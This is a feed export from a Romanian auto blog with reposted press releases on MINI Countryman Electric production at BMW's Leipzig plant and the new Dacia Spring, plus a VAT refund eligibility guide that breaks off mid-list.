tag:blogger.com,1999:blog-44661498339573953602024-03-01T15:01:37.537+02:00AUTOVITAL - Blog AutoBlog auto cu stiri, informatii si documentatii autoConstantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.comBlogger4174125tag:blogger.com,1999:blog-4466149833957395360.post-84592886904272990382024-03-01T15:00:00.000+02:002024-03-01T15:00:52.341+02:00Lansare în producţie a MINI Countryman Electric la uzina BMW Group din Leipzig<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo12hFOlJaOIzcTUPK1xMCRMXP8ydGwmLDLNHxupG7gHvUNtZUfYdS6XZjdcE12UqDrozwNSyhilVwEgFqHW_AznvB7yYTkn2k01K5bYfjgbeyRVJPys6F16Fagc5BHqD_weYan1HeNTs6Cw4Yco3Prf5M23eGlzmYLxC8QvhPWGox39Pe8kcVDPoYSMDt/s744/MINI-Countryman-Electric.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="MINI Countryman Electric" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo12hFOlJaOIzcTUPK1xMCRMXP8ydGwmLDLNHxupG7gHvUNtZUfYdS6XZjdcE12UqDrozwNSyhilVwEgFqHW_AznvB7yYTkn2k01K5bYfjgbeyRVJPys6F16Fagc5BHqD_weYan1HeNTs6Cw4Yco3Prf5M23eGlzmYLxC8QvhPWGox39Pe8kcVDPoYSMDt/s16000/MINI-Countryman-Electric.jpg" title="Lansare în producţie a MINI Countryman Electric la uzina BMW Group din Leipzig" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Volume mai mari şi o
echipă în creştere. <o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Noua tură de noapte la
asamblare. <o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Baterii de înaltă
tensiune produse interne. <o:p></o:p></span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Soluţii sustenabile de
porducţie avangardiste.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Electrificarea continuă la uzina BMW Group
din Leipzig: acum, la patru luni de la lansarea producţiei MINI Countryman cu
motor termic, versiunea electrică iese şi ea de pe linia de producţie de la
Leipzig. După ce a renunţat treptat la producţia BMW i3, locul de naştere al
mobilităţii electrice al BMW Group, Leipzig a primit un alt automobil electric.
Acum produce patru modele cu trei tipuri de propulsie de la două mărci, toate
pe o singură linie de producţie: BMW Seria 1, BMW Seria 2 Active Tourer (inclusiv
versiunea plug-in hybrid), BMW Seria 2 Gran Coupé şi MINI Countryman în ambele
versiuni, cu propulsie electrică şi cu motor termic.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">MINI Countryman Electric reprezintă un pas
major în tranziţia mărcii MINI către electrificarea completă până în 2030 şi
combină sentimentul go-kart electrificat cu mobilitatea locală cu emisii zero.
Vine în două variante electrice: Countryman E şi Countryman SE ALL4, mai
puternic şi cu tracţiune integrală.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Modernizări constante ale fabricii şi
sistem de producţie flexibil</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Pentru a permite producţia de până la
350.000 de unităţi pe an - cu 100.000 mai multe decât anterior -, uzina din
Leipzig a fost modernizată continuu din 2018, cu completări şi actualizări
extinse la atelierele de caroserii, vopsitorie, asamblare şi logistică. „Automobilele
şi componentele noastre sunt foarte solicitate. În ultimii ani, BMW Group a
investit aproximativ 1,6 miliarde de euro în locaţia de la Leipzig pentru a
produce automobile şi componente electrice suplimentare, iar acum creştem şi
volumul de automobile - ceea ce este o veste excelentă pentru fabrica noastră”,
a declarat Petra Peterhänsel, directorul fabricii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Principalul vector din spatele creşterii
volumului este MINI Countryman. Pe parcursul anului 2024, producţia va creşte
la aproape 500 de unităţi pe zi - pe lângă cele aproximativ 800 de automobile
BMW pe care le produce fabrica. În plus, datorită sistemului său de producţie
flexibil, uzina din Leipzig este în măsură să răspundă rapid cererii
clienţilor, de exemplu prin creşterea ponderii automobilelor electrice.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Structurile de asamblare flexibile au
însemnat, de asemenea, că MINI Countryman Electric ar putea fi integrat fără
probleme în producţie. Soluţia este similară cu cea aplicată pentru diferitele
sisteme de propulsie, care sunt toate produse pe aceeaşi linie de asamblare şi
pregătite pentru ceea ce se numeşte „căsătoria” cu caroseria. Sistemele de
propulsie electrice, transmisiile şi electronica de control (cunoscute în mod
colectiv sub numele de HEAT, topologia de transmisie electrică foarte compactă)
pentru cele două modele electrice sunt conectate direct în fabrică. O nouă
linie de producţie era necesară doar pentru electronica de control.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Mai mult personal şi ture de noapte pentru
creşterea volumului de producţie</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Volum mai mare de producţie înseamnă locuri
de muncă sigure şi până la 900 de angajaţi suplimentari numai în producţia de
automobile. Până la sfârşitul anului 2024, uzina din Leipzig va avea
aproximativ 7.000 de angajaţi BMW. Orele de lucru vor trebui ajustate în toate
tehnologiile, schimburile de noapte în asamblare începând pentru prima dată în
septembrie 2024, iar automobilele vor fi produse non-stop în trei schimburi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Uzina din Leipzig a fost pusă în funcţiune
pentru prima dată în 2005, cu aproximativ 2.600 de angajaţi în producţie. 19
ani mai târziu sunt peste 7.000. De-a lungul anilor, uzina a crescut constant
şi considerabil. Începutul schimburilor de noapte în asamblare reprezintă o
altă etapă importantă în povestea de succes a fabricii noastre şi este o dovadă
clară a încrederii companiei noastre în locaţia noastră de aici, din Leipzig”,
a subliniat preşedintele Sindicatului, Jens Köhler.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Fabricat la uzina din Leipzig: baterii de
înaltă tensiune pentru MINI Countryman Electric</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Odată cu lansarea în producţie a modelului
MINI Countryman Electric, toate cele trei etape ale procesului de producţie a
bateriilor de înaltă tensiune Gen 5 sunt reprezentate acum la uzina BMW Group
din Leipzig: acoperirea celulelor, producţia de module şi asamblarea
bateriilor. Operaţiunile pentru cele trei etape sunt în creştere în prezent, cu
cinci linii de acoperire a celulelor, trei de producţie a modulelor şi două
linii de producţie a bateriilor de înaltă tensiune.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Suntem în mijlocul transformării către
mobilitatea electrică”, a declarat Markus Fallböhmer, directorul producţiei de
baterii la BMW Group. „Începând din acest an, uzina din Leipzig va desfăşura
fiecare etapă a procesului nostru intern de producţie a bateriilor de înaltă
tensiune. Este următorul nostru mare pas înainte.”</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Capacitatea de producţie a componentelor de
sisteme de propulsie electrice a uzinei din Leipzig a crescut din 2021. Acum va
produce nu doar bateriile de înaltă tensiune pentru MINI Countryman Electric,
ci şi componente de sisteme de propulsie electrice pentru BMW iX1, BMW iX2, BMW
i4, BMW i5 şi BMW iX fabricate în alte locaţii. Unitatea de producţie de
componente pentru sisteme de propulsie electrice de la Leipzig are în prezent
aproximativ 1.000 de angajaţi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Pentru a permite producţia de baterii de
înaltă tensiune, spaţiile folosite anterior pentru BMW i3 şi BMW i8 au fost
transformate şi au fost adăugate clădiri noi. Una dintre ele este o hală nouă
cu o amprentă la sol de aproximativ 61.000 m². Aceasta găzduieşte două linii
capabile să producă până la 300.000 de baterii de înaltă tensiune pe an. Până
în prezent, BMW Group a investit peste 900 de milioane de euro în producţia de
componente pentru sisteme de propulsie electrice la uzina din Leipzig.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Procese de vopsire cu economie de resurse</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">La lansare, MINI Countryman electric vine
în trei culori suplimentare pentru caroserie: British Racing Green, Chili Red
şi Blazing Blue - şi cu plafonul de contrast specific MINI. Acesta este vopsit
folosind o nouă metodă fără suprapulverizare, care economiseşte resurse şi este
în prezent pregătită pentru funcţionarea în serie. Termenul „suprapulverizare”
se referă la ceaţa de particule de vopsea în exces care se formează atunci când
caroseriile sunt vopsite în mod convenţional. Cu noua tehnică, această „ceaţă”
nu mai apare. Acest lucru facilitează vopsirea în mai multe culori, deoarece
procesul laborios de mascare nu mai este necesar. Vopsirea fără
suprapulverizare ajută, de asemenea, la economisirea emisiilor de CO</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;">, deoarece evacuarea din incintă necesită
mai puţină curăţare. În plus, necesită mult mai puţin aer condiţionat, adică
aer care este adus la temperatura şi umiditatea exactă necesare pentru vopsire.
Ca urmare, este nevoie de mai puţină energie pentru a tempera aerul şi a trata
evacuarea.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Tehnologia arzătorului folosită pentru
uscarea vopselei pe acoperişurile contrastante a fost, de asemenea, convertită
pentru începutul producţiei MINI Countryman şi constă acum într-un sistem
bivalent. Arzătoarele cu combustibil flexibil pot funcţiona atât cu hidrogen (H</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;">), cât şi cu gaz (metan, CH</span><span style="color: #1d2228;">₄</span><span style="color: #1d2228;">) şi chiar pot comuta între cele două în
timpul funcţionării. Cinci astfel de arzătoare bivalente cu hidrogen sunt
folosite pentru a produce acoperişurile în culori contrastante pentru MINI
Countryman.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Alte arzătoare din atelierul de vopsitorie
vor trece treptat la operare bivalentă, fiind deja instalate următoarele şase
arzătoare capabile de hidrogen. Acest lucru face din Leipzig un pionier în
industria auto şi o aduce din ce în ce mai aproape de reducerea emisiilor de CO</span><span style="color: #1d2228;">₂</span><span style="color: #1d2228;">. „Viziunea noastră la uzina din Leipzig
este de a decarboniza producţia pe cât posibil prin înlocuirea combustibililor
fosili cu hidrogen verde”, a declarat Petra Peterhänsel, explicând focalizarea
pe termen lung a locaţiei. Acest lucru va necesita suficient hidrogen verde
dintr-o reţea. O reţea regională de hidrogen este în prezent în planificare,
iar uzina din Leipzig va fi printre beneficiari.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: MINI România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-27970661220149517832024-02-22T10:16:00.000+02:002024-02-22T10:16:34.615+02:00Dacia prezintă Noul Spring, cu un design mai atrăgător ca oricând<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibebyGNZIo13Gnwvfaa0zQYFeDYMX3QQV3t6HDwgrjsforFkOBXnYCJtsNMhQ-3TRCmPe2jzvzMNx7Dmu8BkqFLJrBA2QQo4rmGZKR4j5eZbUeq_foCIWDbC_WJvYgsxLYmd_sWeW8S5MJJnh5YnvZdSGa2zBwwlqq7Lb7wvcU654zbtjjl66D5gWr33iF/s744/dacia-spring.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Dacia Spring" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibebyGNZIo13Gnwvfaa0zQYFeDYMX3QQV3t6HDwgrjsforFkOBXnYCJtsNMhQ-3TRCmPe2jzvzMNx7Dmu8BkqFLJrBA2QQo4rmGZKR4j5eZbUeq_foCIWDbC_WJvYgsxLYmd_sWeW8S5MJJnh5YnvZdSGa2zBwwlqq7Lb7wvcU654zbtjjl66D5gWr33iF/s16000/dacia-spring.jpg" title="Dacia prezintă Noul Spring, cu un design mai atrăgător ca oricând" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Dacia prezintă noul
model Spring 100% electric.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Mai atrăgător ca
oricând, modelul beneficiază de un design complet nou.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Un caracter practic
confirmat de cel mai bun spațiu de încărcare din segment.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Un tablou de bord
digital de 7", care poate fi personalizat și un sistem de navigație și
multimedia cu ecran tactil de 10".</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Un vehicul versatil,
datorită motorizării de 65 CP.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Un consum excelent în
ciclul mixt WLTP: 14,6 kWh/100 km.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">La fel de accesibil ca
întotdeauna, noul Spring rămâne modelul cu cel mai bun raport preț/prestații
din segmentul său pe piața europeană.</span></u></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Spring, primul model Dacia complet
electric, a făcut ca mobilitatea cu emisii zero să devină accesibilă unei baze
largi de clienți, pe toate piețele sale de comercializare. Lansat în 2021,
Spring a ocupat, pentru doi ani consecutiv, în 2022 și 2023, locul al treilea
în Europa în clasamentul celor mai vândute mașini electrice către clienții
persoane fizice. În total, de la lansare, peste 140.000 de exemplare Dacia
Spring au fost înmatriculate pe plan internațional. </span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Dacia Spring este un model cu multe premii
în palmares. Eficiența sa energetică și amprenta de carbon scăzută au fost
recunoscute în 2022, când a primit ratingul maxim de 5 stele în urma testelor
efectuate de Green NCAP.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Spring răspunde perfect nevoilor unei
mobilități simple, accesibile și eficiente, cu emisii zero. </span></b><span style="color: #1d2228;">Conform
datelor colectate prin intermediul sistemelor conectate la bordul vehiculului,
utilizatorii săi parcurg zilnic, în medie, 37 km, iar viteza medie de deplasare
este de 37 km/h. În 75% din cazuri, vehiculul este încărcat la domiciliu.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Dacia Spring este într-o evoluție
permanentă încă de la lansare.</span></b><span style="color: #1d2228;"> Astfel, în 2022, modelul a adoptat
noua identitate vizuală de marcă, apoi a beneficiat de un motor mai puternic,
de 65 CP, în 2023. Cu toate acestea, Dacia Spring și-a păstrat întotdeauna
punctul forte: acela de a fi cel mai accesibil automobil electric de pe piață.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Acum, noul Spring deschide un nou capitol
al evoluției sale</span></b><span style="color: #1d2228;">, păstrând toate calitățile estetice care
au contribuit la succesul generației precedente, aducându-le însă la un nivel
superior. Mai atrăgător ca oricând, cu un design complet reînnoit, mai robust,
dar la fel de practic, cu un spațiu de depozitare interior excepțional pentru
segmentul său, noul Spring rămâne cel mai accesibil model electric de pe
piață. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">UN DESIGN MAI ROBUST, CU MAI MULTĂ
PERSONALITATE<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Dacia dorește să încurajeze trecerea la
vehiculele electrice, iar designul unui automobil – împreună cu eficiența,
prețul și utilitatea sa – reprezintă un element cheie pentru atragerea
clienților. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Noul Spring adoptă noile elemente de design
inaugurate de cea de-a treia generație a modelului Duster.</span></b><span style="color: #1d2228;"> Modelul
beneficiază astfel de un aspect mai robust, cu mai multă personalitate, în timp
ce interiorul a fost complet refăcut. Pavilionul este singura componentă a
caroseriei păstrată de la generația anterioară.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„<i>Adoptând noul univers vizual și grafic
al mărcii, Spring își confirmă statutul de membru esențial al familiei Dacia.
Modelul beneficiază de un design serios, care inspiră siguranță. Bazându-se pe
succesul generației anterioare, noul Spring își afirmă personalitatea și
spiritul său autentic</i>". David Durand – <b>Director de Design
Dacia</b></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Design exterior: robust, modern, smart</span></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Noul design al modelului se remarcă prin
impresia de soliditate și robustețe susținută de volumele bine structurate și
de liniile simple, curate, clar definite, precum cele ale capotei profilate.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Un detaliu specific noului Spring îl
reprezintă cele două benzi de culoare neagră prezente atât la nivelul
calandrului, cât și transversal de-a latul hayonului, între blocurile optice
spate. Semnătura luminoasă în formă de Y, similară celei a noii generații
Duster, este prezentă atât la blocurile optice față, cu tehnologie LED, cât și
la cele din spate. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Modernitatea designului noului Spring este
subliniată de autocolantele specifice, care evocă trama stradală a unui oraș</span></b><span style="color: #1d2228;">,
amplasate pe barele de protecție față și spate, disponibile pe echiparea
Extreme. Jantele de 15”, disponibile de acum în standard pe versiunile cu motor
de 65 CP, contribuie la aspectul robust al noului model.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Noul Spring ilustrează ingeniozitatea
specifică mărcii Dacia. </span></b><span style="color: #1d2228;">Astfel, protecțiile laterale din partea
inferioară a portierelor sunt ușoare, ușor de instalat și ușor de înlocuit.
Elementele din crom au fost eliminate, așa cum este cazul pentru toate modelele
Dacia. Barele de pavilion au fost, de asemenea, eliminate, ceea ce a dus la
scăderea greutății vehiculului și la ameliorarea profilului aerodinamic al
caroseriei.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Design interior: fresh, practic, digital</span></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Planșa de bord este complet nouă, afișând
noul univers grafic al mărcii Dacia, care se distinge prin linii orizontale, și
integrând totodată o nouă gamă de ecrane digitale. Spring dispune acum de un
tablou de bord digital de 7”, color, care poate fi personalizat, disponibil pe
toate nivelurile de echipare, și de un ecran central de 10” pentru versiunile
superioare. Paleta de culori și materialele utilizate pentru interior au fost
modernizate pentru a oferi o calitate superioară, dar cu o diversitate de opțiuni
esențiale cu scopul de a controla costurile - pentru a rămâne fidel
poziționării «value for money», specifică mărcii Dacia.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Elementele de culoare albă </span></b><span style="color: #1d2228;">prezente
la nivelul carcasei blocului de instrumente, la baza schimbătorului de viteze
și a spațiilor de depozitare de la baza ușilor, <b>conferă interiorului o
impresie de prospețime</b>. Semnătura emblematică în formă de Y se regăsește în
forma aeratoarelor, (de culoare albă pe nivelele de echipare standard și de
culoare Copper Brown pe nivelul de echipare Extreme). Partea centrală a planșei
de bord este colorată diferit, în funcție de nivelul de echipare: Alto Grey pe
versiunea Essential, Brick Red pe Expression, Kaki Lichen pe Extreme.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Noul Spring are un habitaclu practic. </span></b><span style="color: #1d2228;">O
atenție specială a fost acordată ergonomiei, sistemul multimedia cu ecran
tactil fiind poziționat în câmpul vizual al șoferului. Tabloul de bord digital
de 7”, care poate fi personalizat, a fost conceput pentru a fi practic și
intuitiv și permite afișarea informațiilor pe care șoferul le consideră cele
mai utile. Dacia Spring beneficiază de YouClip, noile accesorii ingenioase
Dacia (vezi mai jos), disponibile și pe noul Duster. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Nivelul de echipare Extreme dispune de un
set de covorașe solide, din cauciuc, și praguri cu ornament specific, cu linii
inspirate de hărțile topografice.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Dacia România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-81983441090368420242024-02-20T13:06:00.000+02:002024-02-20T13:06:44.193+02:00Sunt eligibil pentru rambursarea TVA-ului?<p><span></span></p><div class="separator" style="clear: both; text-align: center;"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXcj5k4tga-9y2DM5pEvaS4-vsVtZ6-iG4nJshH_5jDtAIzsvlxFQVCDuiHfpF2YKIqucn8-j1DOU3tUdaUpJSN6t2WBoPjIT0Kv1JKt_jkBBO9l2PDFb67V3A4MYSLK7BgSjieYCg5SdP7B1vImeU9Zq2f4VPPxjRpXDoESEZO63gHB_xVsgqYrfZMp2I/s744/rambursare-tva.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Rambursare TVA" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXcj5k4tga-9y2DM5pEvaS4-vsVtZ6-iG4nJshH_5jDtAIzsvlxFQVCDuiHfpF2YKIqucn8-j1DOU3tUdaUpJSN6t2WBoPjIT0Kv1JKt_jkBBO9l2PDFb67V3A4MYSLK7BgSjieYCg5SdP7B1vImeU9Zq2f4VPPxjRpXDoESEZO63gHB_xVsgqYrfZMp2I/s16000/rambursare-tva.jpg" title="Sunt eligibil pentru rambursarea TVA-ului?" /></a></span></div><span><span style="font-family: arial;"><div style="text-align: center;">Foto: pixabay.com</div></span><b><br /></b></span><p></p><p style="text-align: justify;"><span style="font-family: arial;"><b>Condiții generale de eligibilitate:</b></span></p>
<p style="text-align: justify;"><span style="font-family: arial;"><b>1. Statutul fiscal:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Contribuabil plătitor de TVA:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Persoane juridice (SRL, SA, etc.)</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">PFA-uri</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Asociații și fundații</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> O societate comercială cu răspundere limitată (SRL) care achiziționează materiale de birou pentru biroul său este eligibilă pentru rambursarea TVA-ului.</span></span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>2. Natura achizițiilor:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Bunuri și servicii utilizate în scopul activității economice:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Materii prime</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Stocuri</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Echipamente</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Materiale de birou</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Consultanță</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Transport</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Cazare</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Marketing</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> O companie de transport care achiziționează motorină pentru camioanele sale este eligibilă pentru recuperarea accizelor.</span></span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>3. Documente justificative:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Facturi:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Trebuie să fie emise de un furnizor impozabil</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Trebuie să conțină toate elementele obligatorii (nume, adresă, date de identificare fiscală, etc.)</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> O factură validă pentru achiziția de combustibil trebuie să conțină denumirea și codul fiscal al furnizorului și al beneficiarului, cantitatea de combustibil, prețul unitar și cota TVA-ului.</span></span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Chitanțe:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Dovada plății TVA-ului</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> O chitanță fiscală pentru achiziția de materiale de birou.</span></span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Bonuri fiscale:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Dovada plății TVA-ului pentru achiziții de valoare mică</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> Un bon fiscal pentru achiziția de cafea pentru birou.</span></span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>4. Respectarea termenelor limită:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>5 ani de la data plății TVA-ului:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Termen general</span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>3 ani de la data plății TVA-ului:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Achiziții intracomunitare de bunuri</span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Situații speciale:</b></span></p>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>1. </b></span><u><a href="https://www.ebvfinance.com/ro/rambursarea-de-tva" target="_blank"><span><b>Recuperarea TVA-ului motorină</b></span></a></u><span><b>:</b></span></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Parțială sau totală:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Depinde de legislația fiscală în vigoare</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Există anumite condiții specifice care trebuie îndeplinite</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><span><b>Exemplu:</b></span><span> În România, se poate recupera parțial acciza pentru motorina utilizată în scopul transportului de marfă.</span></span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Condiții specifice:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Vehiculul trebuie să aibă o masă totală maximă autorizată de peste 3,5 tone</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Motorina trebuie utilizată pentru transportul de marfă sau de persoane</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Trebuie păstrate documentele justificative (facturi, chitanțe, bonuri fiscale)</span></p>
</li>
</ul>
</li>
</ul>
